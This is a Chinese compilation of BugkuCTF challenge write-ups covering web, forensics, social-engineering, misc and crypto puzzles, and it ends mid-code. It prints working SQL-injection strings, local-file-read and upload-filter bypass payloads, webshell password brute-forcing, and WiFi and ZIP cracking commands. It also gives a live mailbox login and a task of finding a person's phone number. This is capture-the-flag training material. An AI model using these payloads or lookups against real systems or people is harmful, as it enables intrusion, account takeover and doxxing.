BugkuCTF 部分WP(搬运了很多WP)
WEB
web2
http://123.206.87.240:8002/web2/
右键或按F12查看源代码或者url前加view-source
view-source:http://123.206.87.240:8002/web2/
计算器
http://123.206.87.240:8002/yanzhengma/
F12 修改maxlength
web基础$_GET
http://123.206.87.240:8002/get/
GET传参 ?what=flag
http://123.206.87.240:8002/get/?what=flag
web基础$_POST
http://123.206.87.240:8002/post/
HackBar 或者burpsuite post传参 what=flag
矛盾
http://123.206.87.240:8002/get/index1.php
考察php弱类型比较
http://123.206.87.240:8002/get/index1.php?num=1a
web3
http://123.206.87.240:8002/web3/
查看源代码
复制出来粘贴到 burp 自带的 decoder 里,在 decode as 选 HTML,就能解码出 flag
域名解析
burpsuite抓包,把 host 字段直接改成域名。
或者修改C盘下的hosts文件
你必须让他停下
http://123.206.87.240:8002/web12/
burpsuite抓包后发到 repeater,每点一次 Go 就会刷新,多刷新几次就可以看到flag
变量1
flag In the variable !`
<?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args']))
{
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args))
{
die("args error!");
}
eval("var_dump($$args);");
}
?>`
需要传入有个 args 参数,通过 eval 来执行 var_dump 来打印一些东西。但是它打 印的是$$args 而不是$args。
传 入 参 数 ‘args=GLOBALS' , var_dump()将打印$GLOBALS
http://123.206.87.240:8004/index1.php?args=GLOBALS
web5
查看源代码,将以下内容放到浏览器控制台执行得到flag
([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+!+
.................(此处省略若干行)
(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]])
ctf{whatfk}
字母大写 CTF{WHATFK}
头等舱
http://123.206.87.240:9009/hd.php
burpsuite抓包发送到Repeater 里面,Go 一下,Response 里面已经出来 flag 了
网站被黑
http://123.206.87.240:8002/webshell/
御剑扫描后台
扫描出 shell.php,打开链接是一个 webshell,尝试 admin 等弱密码无效后
开 burp 进行爆破,这里选择 Simple list,字典选择 burp 自带的 Passwords
爆破结果,密码为hack,登录webshell,得到flag
管理员系统
decode as base64Username: admin
Password: test123
IP禁止访问,请联系本地管理员登陆,IP已被记录.
输入
Username: admin
Password: test123
burpsuite抓包 发送到repeater 伪造ip X-Forwarded-For: 127.0.0.1 得到flag
web4
http://123.206.87.240:8002/web4/
查看源代码
进行 unescape 解密,得到 function checkSubmit(){vara=document.getElementById("password");if("undefined"!=typeofa){if("67d709b2b aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElement ById("levelQues
,源码中有这么一 句:eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));这句代码的 含义是:p1 串的编码+‘%35%34%61%61%32’的编码+p2 串的编码。这是一个拼 接的字符串,解码之后,拼接完成,回到网页中提交,网页直接爆出了 flag。
67d709b2b 54aa2 aa648cf6e87a7114f1
拼接完成,回到网页中提交,网页直接爆出了 flag:67d709b2b54aa2aa648cf6e87a7114f1
KEY{J22JK-HS11}
flag在index里
http://123.206.87.240:8005/post/
file=php://filter/read=convert.base64-encode/resource=index.php 的含义 首先这是一个 file 关键字的 get 参数传递,
php://是一种协议名称,
php://filter/ 是一种访问本地文件的协议,
/read=convert.base64-encode/表示读取的方式是 base64 编码后,resource=index.php 表示目标文件为 index.php。
decode as base64
<html>
<title>Bugku-ctf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
输入密码查看flag
http://123.206.87.240:8002/baopo/
baopo:爆破
burpsuite抓包爆破得到密码13579
输入密码得到flag
备份是个好习惯
http://123.206.87.240:8002/web16/
http://123.206.87.240:8002/web16/index.php.bak
下载备份文件
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
str_replace 把字符串中的 'key'替换 为 空 可 以 使 用 类 似这 样 的 语 句 : kkeyey 处理
最后需要得到 key1,key2 不相等而二者 md5 相等,可以利用 php 弱类型比较 绕过
构造
payload:?kkeyey1=QNKCDZO&kkeyey2=240610708
成绩单
0' union select database(),2,3,4 #
得到数据库名 skctf_flag
0' union select table_name,2,3,4 from information_schema.tables where table_schema='skctf_flag'#
得到表名 fl4g
0' union select column_name,2,3,4 from information_schema.columns where table_name='fl4g'#
得到列名 skctf_flag
0' union select skctf_flag,2,3,4 from fl4g#
秋名山老司机
网上抄的代码
import requests
import re
url = 'http://123.206.87.240:8002/qiumingshan/' # 这个URL是不定的
s = requests.session()
g = s.get(url)
page = re.findall(r'<div>(.*)=\?;</div>', g.text)[0]
res = eval(page)
payload = {'value': res}
p = s.post(url, data=payload)
print(p.text)
一次运行可能看不到flag,多运行几次就可以看到flag
速度要快
http://123.206.87.240:8002/web6/
# coding:utf-8
import requests
import base64
url="http://123.206.87.240:8002/web6/"
s=requests.Session()
head=s.get(url).headers
flag=base64.b64decode(head["flag"])
flag=flag.decode()
key=base64.b64decode(flag.split(":")[1])
payload={"margin":key}
print(s.post(url,data=payload).text)
KEY{111dd62fcd377076be18a}
cookies欺骗
http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
a2V5cy50eHQ= decode as base64 keys.txt
参考
https://www.cnblogs.com/-chenxs/p/11658288.html
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy5waHA=
burpsuite抓包发送到repeater
在请求头添加 Cookie: margin=margin
(Cookie: margin=margin
Upgrade-Insecure-Requests: 1)
KEY{key_keys}
never give up
http://123.206.87.240:8006/test/hello.php?id=1
查看源代码
访问 view-source:http://123.206.87.240:8006/test/1p.html
<!--
var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
// -->
decode as base64 , decode as html
<!--
var Words ="<script>window.location.href='http://www.bugku.com';</script>
<!--";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>-->"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
// -->
访问 http://123.206.87.240:8006/test/f4l2a3g.txt 得到flag
字符?正则?
参考链接:https://blog.csdn.net/weixin_44481102/article/details/90214568
https://www.cnblogs.com/chrysanthemum/p/11483857.html
不太懂正则
[http://123.206.87.240:8002/web10/?id=keykeykeykeykey:/ /keya@i](http://123.206.87.240:8002/web10/?id=keykeykeykeykey:/ /keya@i)
你从哪里来
http://123.206.87.240:9009/from.php
are you from google?
burpsuite抓包发送到repeater
在Headers添加 Referer https://www.google.com
md5 collision(NUPT_CTF)
md5碰撞、php弱类型
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
攻击者可以利用这一漏洞,通过输入一个经过哈希后以”0E”开头的字符串,即会被PHP解释为0,如果数据库中存在这种哈希值以”0E”开头的密码的话,他就可以以这个用户的身份登录进去,尽管并没有真正的密码。
原文链接:https://blog.csdn.net/qq_30464257/article/details/81432446
参考链接 https://blog.csdn.net/qq_30464257/article/details/81432446
http://123.206.87.240:9009/md5.php
http://123.206.87.240:9009/md5.php?a=s878926199a
程序员本地网站
burpsuite抓包发送到repeater
在Headers添加 X-Forwarded-For 127.0.0.1
各种绕过
http://123.206.87.240:8002/web7/
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
本题注意点:
- get 方式提交 uname 和 id 值,post 方式提交 passwd 值
- uname 和 passwd 的哈希值相同
- id == “margin”
解决
1 get 和 post 提交,方式 1:火狐的 HackBar,方式2:python 程序。。。
2 把 uname 和 passwd 定义成数组,数组的哈希值相同
3 url 传入时,令 id=margin
get传参:http://123.206.87.240:8002/web7/?uname[]=1&id=margin
post传参:passwd[]=2
web8
http://123.206.87.240:8002/web8/
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
分析代码:
extract($_GET):函数 extract()有通过数组进行赋值的功能
file_get_contents($fn):file_get_contents 功能是从文件名为“$fn”的文件中读取数据,但是当$fn 的值为“php://input”,它会接受并返回 post 的值
构造 index.php?ac=text&fn=php://input
post data
text
细心
http://123.206.87.240:8002/web13/
http://123.206.87.240:8002/web13/robots.txt
http://123.206.87.240:8002/web13/resusl.php
http://123.206.87.240:8002/web13/resusl.php?x=admin
求getshell
http://123.206.87.240:8002/web9/
这道题是后缀名黑名单检测和类型检测
-
把请求头里面的 Content-Type 字母改成大写进行绕过
-
.jpg 后面加上.php5 其他的都被过滤了好像 如果是 walf 严格匹配,通过修改 Content-type 后字母的大小写可以绕过检测,使 得需要上传的文件可以到达服务器端,而服务器的容错率较高,一般我们上传的文件 可以解析。然后就需要确定我们如何上传文件,在分别将后缀名修改为 php2, php3, php4, php5, phps, pht, phtm, phtml(php 的别名),发现只有 php5 没有被过 滤,成功上传,得到 flag
Content-Type: mUltipart/form-data;
Content-Disposition: form-data; name="file"; filename="123.php5"
Content-Type: image/png
INSERT INTO注入
暂时不会做,也不会写Python脚本
参考 https://www.cnblogs.com/Zhu013/p/11477772.html
多次
?id=1'or 1=1--+ 也报错,可能存在过滤
尝试双写绕过,?id=1'oorr 1=1--+ 返回正常
那如何检测哪些字符串被过滤了呢?新技能 GET!
异或注入了解一下,两个条件相同(同真或同假)即为假 ?id=1'^(length('union')!=0)--+
如果返回页面显示正常,那就证明 length(‘union’)==0 的,也就是 union 被过滤了 同理测试出被过滤的字符串有:and,or,union,select
查数据库名
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+
返回flag1,hint
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+
返回flag1,address
查列
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(flag1) from flag1--+
返回 usOwycTju+FTUUzXosjr
查address
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(address) from flag1--+
返回 ./Once_More.php
下一关地址
查库
[http://123.206.87.240:9004/Once_More.php?id=1%27%20and%20(extractvalue(1,concat(0x7e,database(),0x7e)))--+](http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,database(),0x7e)))--+)
返回内容
My Id =1' and (extractvalue(1,concat(0x7e,database(),0x7e)))--
Nobody!
XPATH syntax error: '~web1002-2~'
查表
http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='web1002-2'),0x7e)))--+
//select group_concat(table_name) from information_schema.tables where table_schema='web1002-2'
返回内容
My Id =1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='web1002-2'),0x7e)))--
Nobody!
XPATH syntax error: '~class,flag2~'
查数据
http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag2'),0x7e)))--+
//select group_concat(column_name) from information_schema.columns where table_name='flag2'
返回内容
My Id =1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag2'),0x7e)))--
Nobody!
XPATH syntax error: '~flag2,address~'
//select flag2 from flag2
http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,(select flag2 from flag2),0x7e)))--+
返回内容
My Id =1' and (extractvalue(1,concat(0x7e,(select flag2 from flag2),0x7e)))--
Nobody!
XPATH syntax error: '~flag{Bugku-sql_6s-2i-4t-bug}~'
本地主要是 sql 注入,报错注入以及异或注入
分析
flag 被盗
key.pcapng 文件,下载用 wireshark 打开
筛选 http
任意选择一条含 shell.php 的内容 右键 =>>追踪流 =>>TCP 流 ,看一下详细 信息。
X@Yflag{This_is_a_f10g}
中国菜刀
参考:
https://www.cnblogs.com/0yst3r-2046/p/12213278.html
这么多数据包
下载文件,wireshark打开
根据提示,我们要找到 getshell 流, 经大佬提示, 一般 getshell 流的 TCP 的 报文中很可能包含 command 这个字段, 我们可以通过<协议 contains “内 容” >来查找 getshell 流
筛选 tcp contains "command"
No5548 追踪流TCP流
Q0NURntkb195b3VfbGlrZV9zbmlmZmVyfQ==
decode as base64
CCTF{do_you_like_sniffer}
手机热点
参考:
https://www.cnblogs.com/0yst3r-2046/p/12290445.html
抓到一只苍蝇
参考:
https://www.cnblogs.com/0yst3r-2046/p/12299558.html
日志审计
参考 https://www.cnblogs.com/0yst3r-2046/p/12322110.html
下载文件,用Notepad++打开
Plugins-MIME Tool-URL decode
看到有 flag_is_here 的记录... 在 sql 盲注里测试的字符的 最后一条状态码为 200 的语句 的 ASCII 值再加 1 就 是猜解正确的 ASCII 值,转换成字符就是我们需要的答案的其中一个字符。
101+1=102 -->f 107+1=108 -->l 96+1=97 -->a 102+1=103 -->g 由于字符比较多,我们就不一一列举了,以上就是 flag 的前四个字符。 最多得出 flag{sqlm4p_15_p0werful} 这个题的经验在于,对注入的了解,sql 注入盲注
weblogic
参考:
https://www.cnblogs.com/0yst3r-2046/p/12331603.html
信息提取
参考:
https://blog.csdn.net/qq_39991837/article/details/105452677
特殊后门
下载文件,wireshark打开
筛选 icmp
拼接每条流量的数据得到flag
flag{Icmp_backdoor_can_transfer-some_infomation}
WEB进阶
phpcmsV9
http://123.206.87.240:8001/robots.txt
bugku 导航
御剑扫描
发现扫出了 1 个 admin、1.zip、robots.txt 等等敏感文件目录
然后我们访问 1.zip 把该文件下载过来,然后下载解压后发现这个是该网站的源代码
在本地打开该文件是没有任何东西的,但是我们在浏览器上访问该文件,就显示出 flag 了。
http://123.206.87.240:9006/flag-asd.txt
社工
密码
这个是典型的弱口令,猜了一下,KEY 是姓名+生日, KEY{zs19970315}
信息查找
今日头条主页搜索bugku.cn
https://www.toutiao.com/search/?keyword=bugku.cn
https://www.toutiao.com/a4530947333/c
技术交流群:462713425
KEY{462713425}
简单个人信息收集
zip伪加密
参考:
https://www.cnblogs.com/0yst3r-2046/p/11351140.html
用 winhex 打开,然后修改 09 为 00
在哈尔滨市阿城区胜利街六委十三组 有个叫杜甫的你能把他的手机号找到吗?
flag格式 flag{手机号}
社工进阶
参考:
https://www.cnblogs.com/0yst3r-2046/p/11351332.html
name:孤长离
提示:弱口令
https://tieba.baidu.com/p/4911421204?pid=101711704384&cid=#101711704384
网易邮箱 bkctftest@163.com 密码是弱口令 a123456
在邮箱的草稿箱发现flag KEY{sg1H78Si9C0s99Q}
王晓明的日记
参考:
https://www.cnblogs.com/0yst3r-2046/p/11371915.html
简单的社工尝试
参考:
https://www.cnblogs.com/0yst3r-2046/p/11376089.html
杂项
签到题
扫码关注公众号得到flag
flag{BugKu-Sec-pwn!}
这是一张单纯的图片
下载图片在winhex下打开,拖到最后发现以下字符,decode as html 得到flag
key{you are right}
隐写
下载图片在winhex下打开,IHDR后面0-3字节代表图片宽度,4-7字节代表图片高度
将' 00 00 01 F4 00 00 01 A4 '修改为' 00 00 01 F4 00 00 01 F4 '
保存图片再次打开,就可以看到flag
telnet
下载文件,wireshark打开,第二个数据包追踪TCP流发现flag
Password: flag{d316759c281bf925d600be698a4973d5}
眼见非实(ISCCCTF)
下载文件将文件后缀改为.zip,解压,发现 .docx,word打开报错,再将后缀改为 .zip,解压在document.xml中发现flag
<w:t>flag{F1@g}</w:t>
啊哒
下载文件解压,把图片放到kali打开
binwalk ada.jpg
dd if=ada.jpg of=1.zip skip=218773 bs=1
dd命令详解,这里if是指定输入文件,of是指定输出文件,skip是指定从输入文件开头跳过218773个块后再开始复制,bs设置每次读写块的大小为1字节。
zip打开需要密码
查看突破属性发现
设备
73646E6973635F32303138
这个会不会是密码,输入后发现不是。
burpsuite Decoder模块解码
73646E6973635F32303138 decode as ASCII hex
sdnisc_2018 //得到解压密码
flag{3XiF_iNf0rM@ti0n}
又一张图片,还单纯吗
kali下打开
binwalk 、foremost、 dd
dd if=2.jpg of=3.jpg skip=158792 bs=1
猜
下载图片百度识图,识图结果刘亦菲
根据提示key{liuyifei}
宽带信息泄露
下载文件 RouterPassView 打开
查找username 053700357621
flag格式:flag{宽带用户名}
flag{053700357621}
隐写2
老套路 属性-winhex-binwalk
属性和winhex都发现不了什么
binwalk Welcome_.jpg
dd if=Welcome_.jpg of=2.zip skip=52516 ds=1
打开压缩包,图片提示密码为3位数,可以用fcrackzip破解,Fcrackzip——简介、安装、使用
sudo apt-get install fcrackzip
fcrackzip -b -l 3-3 -c1 -v flag.rar
found file '3.jpg', (size cp/uc 6588/ 6769, flags 801, chk 102c)
possible pw found: 035 ()
possible pw found: 337 ()
possible pw found: 728 ()
possible pw found: 871 ()
解压密码:871,解压后,winhex打开,拖到最后
发现 f1@g{eTB1IEFyZSBhIGhAY2tlciE=}
eTB1IEFyZSBhIGhAY2tlciE=
decode as Base64
y0u Are a h@cker!
多种方法解决
下载、解压、winhex打开
扫码得flag
闪的好快
是一个gif 一直闪
stegsolve可以把gif一帧帧放的工具
一张张扫
答案就是SYC{F1aSh_so_f4sT}
come_game
白哥的鸽子
winhex打开,拖到最后,编码改为ANSI ASCII
fg2ivyo}l{2s3_o@aw__rcl@
fg2ivyo}l{2s3_o@aw__rcl@
2栏:
f3g_2oi@vaywo_}_lr{c2ls@
3栏:
flag{w22_is_v3ry_cool}@@
flag{w22_is_v3ry_cool}
linux
下载文件,解压,kali下打开
grep 'key' -a flag
key{}
key{}
key{feb81d3834e2423c9903f4755464060b}
隐写3
winhex修改图片高度
把01 00 改为02 A7
拿到flag{He1l0_d4_ba1}
做个游戏(08067CTF)
下载、解压经过试验发现flag在下面这个文件
.\heiheihei\cn\bjsxt\plane\PlaneGameFrame.class
编辑-查找flag flag{RGFqaURhbGlfSmlud2FuQ2hpamk=}
RGFqaURhbGlfSmlud2FuQ2hpamk=
decode as base64
DajiDali_JinwanChiji
想蹭网先解开密码
flag格式:flag{你破解的WiFi密码}tips:密码为手机号,为了不为难你,大佬特地让我悄悄地把前七位告诉你 1391040** Goodluck!!作者@NewBee
下载文件,wireshark打开没有什么发现
在kali下打开
crunch 11 11 -t 1391040%%%% -o dictionary.txt
aircrack-ng -a2 wifi.cap -w dictionary.txt
1 3C:E5:A6:20:91:60 CATR WPA (0 handshake)
2 3C:E5:A6:20:91:61 CATR-GUEST WPA (0 handshake)
3 BC:F6:85:9E:4E:A3 D-Link_DIR-600A WPA (1 handshake, with PMKID)
Index number of target network ? 3
KEY FOUND! [ 13910407686 ]
Linux2
下载文件,解压,记事本打开brave,编辑-查找 key
KEY{24f3627a86fc740a7f36ee2c7a1c124a}
细心的大象
binwalk 1.jpg
foremost 1.jpg
00000000.jpg 属性 详细信息 TVNEUzQ1NkFTRDEyM3p6
TVNEUzQ1NkFTRDEyM3p6
decode as base64
MSDS456ASD123zz
这个是压缩包解压密码,将解压后得到的图片放到winhex打开,修改高度(01 A4 改为 01 F4)保存再查看即可看到flag
爆照
binwalk 8.jpg
foremost 8.jpg
root@kali:~/桌面/output2/zip/00000079# binwalk 8
0 0x0 PC bitmap, Windows 3.x format,, 303 x 300 x 8
root@kali:~/桌面/output2/zip/00000079# binwalk 88
0 0x0 JPEG image data, JFIF standard 1.01
30 0x1E TIFF image data, big-endian, offset of first image directory: 8
root@kali:~/桌面/output2/zip/00000079# binwalk 888
0 0x0 JPEG image data, JFIF standard 1.01
30 0x1E TIFF image data, big-endian, offset of first image directory: 8
root@kali:~/桌面/output2/zip/00000079# binwalk 8888
0 0x0 JPEG image data, JFIF standard 1.01
30 0x1E TIFF image data, big-endian, offset of first image directory: 8
10976 0x2AE0 Zip archive data, at least v2.0 to extract, compressed size: 644, uncompressed size: 1202, name: 1509126368.png
11760 0x2DF0 End of Zip archive, footer length: 22
root@kali:~/桌面/output2/zip/00000079# foremost 8888
88 扫码得到 bilibili
888 修改添加后缀 888.jpg在win下打开 属性-详细信息-备注发现base64编码 c2lsaXNpbGk=
c2lsaXNpbGk=
decode as Base64
silisili
foremost 8888
扫码结果 panama
根据提示flag格式 flag{xxx_xxx_xxx}得flag{bilibili_silisili_panama}
猫片
hint:LSB BGR NTFS
https://blog.csdn.net/weixin_43426549/article/details/103194153
https://www.cnblogs.com/liuzeyu12a/p/10033384.html
https://www.cnblogs.com/cat47/p/11432475.html
添加后缀 .png 用stegsolve打开
Alpha为什么不勾,因为是透明度,如果改为0就变成全透明,图片就什么也看不见
RGB是全为0 让它避免有其他颜色亮度的干扰 ,如果RGB任意一个改为不为0,那么这张图片的代码就会出现错误
导致他不是一个图片文件
当我们改好的时候 可以看见是一个png文件
save bin 保存为png格式
又因为png格式头是89504e
所以要把fffe删掉,我们扔到winhex里面删除fffe
保存再打开
winhex修改图片高度 扫码得到网盘链接,下载
winrar+ntfs 得到一个pyc文件 用反编译把他搞成py文件
import base64
ciphertext = [
'96', '65', '93', '123', '91', '97', '22', '93', '70', '102', '94', '132', '46', '112', '64', '97', '88', '80', '82', '137', '90', '109', '99', '112']
def decode():
flag = ''
ciphertext.reverse()
for i in range(len(ciphertext)):
if i % 2 == 0:
s = int(ciphertext[i]) - 10
else:
s = int(ciphertext[i]) + 10
s = chr(i^s)
flag = flag + s
print(flag)
decode()
flag{Y@e_Cl3veR_C1Ever!}
多彩
旋转跳跃
普通的二维码
乌云邀请码
下载文件解压StegSolve 打开 LSB First BGR
flag{Png_Lsb_Y0u_K0nw! }
神秘的文件
采用明文攻击,用的是ARCHPR
解压密码:q1w2e3r4
将解压得到的文档后缀改为 .zip,解压,在docProps里发现flag.txt,里面是base64
ZmxhZ3tkMGNYXzFzX3ppUF9maWxlfQ==
decode as base64
flag{d0cX_1s_ziP_file}
论剑
下载图片,winhex打开,慢慢翻到中间是一串二进制
1101101 01111001 01101110 01100001 01101101 01100101 01101001 01110011 01101011 01100101 01111001 00100001 00100001 00100001 01101000 01101000 01101000
decode as Binary
109 121 110 97 109 101 105 115 107 101 121 33 33 33 104 104 104
ascii转字符串
a = [109, 121, 110, 97, 109, 101, 105, 115,
107, 101, 121, 33, 33, 33, 104, 104, 104]
b = ""
for i in a:
b += chr(i)
print(b)
'''
mynameiskey!!!hhh
'''
将二进制部分后面的16进制"38 7B BC AF 27 1C"改为"37 7A BC AF 27 1C"(7z压缩包的头)
binwalk,dd 分离
root@kali:~/桌面# dd if=lunjian1.jpg of=1.zip skip=9591 bs=1 root@kali:~/桌面# dd if=lunjian1.jpg of=1.jpg skip=17569 bs=1
压缩包解压密码mynameiskey!!!hhh 解压得到ljc2.jpg
winhex打开ljc2.jpg 搜索十六进制搜索FFC2目的是修改宽高 jpg文件格式https://blog.csdn.net/yun_hen/article/details/78135122
再把lunjian.jpg也就是题目下载的那个图片改一下宽高
结合起来 not flag{666c61677B6D795F6E616D655F482121487D}
666c61677B6D795F6E616D655F482121487D
decode as ASCII hex
flag{my_name_H!!H}
图穷匕见
convert
听首音乐
好多数值
很普通的数独(ISCCCTF)
PEN_AND_APPLE
color
怀疑人生
红绿灯
不简单的压缩包
一枝独秀
小猪佩奇
好多压缩包
一个普通的压缩包
2B
QAQ
妹子的陌陌
就五层你能解开吗
加密
滴答~滴
摩斯电码解密
聪明的小羊
一只小羊翻过了2个栅栏KYsd3js2E{a2jda}
栅栏密码解密(栏数2)
ok
这不是摩斯密码
easy_crypto
from __future__ import print_function
a = input("input the string:")
s = a.split(" ")
dict = {'01': 'A',
'1000': 'B',
'1010': 'C',
'100':'D',
'0':'E',
'0010':'F',
'110': 'G',
'0000': 'H',
'00': 'I',
'0111':'J',
'101': 'K',
'0100': 'L',
'11': 'M',
'10': 'N',
'111': 'O',
'0110': 'P',
'1101': 'Q',
'010': 'R',
'000': 'S',
'1': 'T',
'001': 'U',
'0001': 'V',
'011': 'W',
'1001': 'X',
'1011': 'Y',
'1100': 'Z',
'01111': '1',
'00111': '2',
'00011': '3',
'00001': '4',
'00000': '5',
'10000': '6',
'11000': '7',
'11100': '8',
'11110': '9',
'11111': '0',
'001100': '?',
'10010': '/',
'101101': '()',
'100001': '-',
'010101': '.',
'110011':',',
'011010':'@',
'111000':':',
'101010':':',
'10001':'=',
'011110':"'",
'101011':'!',
'001101':'_',
'010010':'"',
'10110':'(',
'1111011':'{',
'1111101':'}'
};
for item in s:
print (dict[item],end='')
FLAG{M0RSE_CODE_1S_INTEREST1N9!}
flag{m0rse_code_1s_interest1n9!}
(将字母改为小写提交)
简单加密
e6Z9i]8RUQHE{RnY{QXgQnQ{XVlRXlpXI5Q6Q6SKY8jUAA
import base64
string1 = "e6Z9i~]8R~U~QHE{RnY{QXg~QnQ{^XVlRXlp^XI5Q6Q6SKY8jUAA"
string2 = ""
for i, elem in enumerate(string1):
string2 += chr(ord(elem) - 4)
string2 = base64.b64decode(string2)
print(string2)
散乱的密文
凯撒部长的奖励
凯撒密码解密,位移数为1
一段Base64
敢不敢再加密几次
.!?(Ook! to text)
+[]-
奇怪的密码
托马斯.杰斐逊
zip伪加密
告诉你个秘密(ISCCCTF)
636A56355279427363446C4A49454A7154534230526D6843
56445A31614342354E326C4B4946467A5769426961453067
decode as ASCII hex
cjV5RyBscDlJIEJqTSB0RmhC
VDZ1aCB5N2lKIFFzWiBiaE0g
decode Base64
r5yG lp9I BjM tFhB
T6uh y7iJ QsZ bhM
r5yG==>T
lp9I==>O
BjM==>N
tFhB==>G
T6uh==>Y
y7iJ ==>U
QsZ ==>A
bhM==>N
TONGYUAN
这不是md5
666c61677b616537333538376261353662616566357d
decode as Base64
flag{ae73587ba56baef5}
贝斯家族
富强民主
python(N1CTF)
进制转换
affine
flag = "szzyfimhyzd"
flaglist = []
for i in flag:
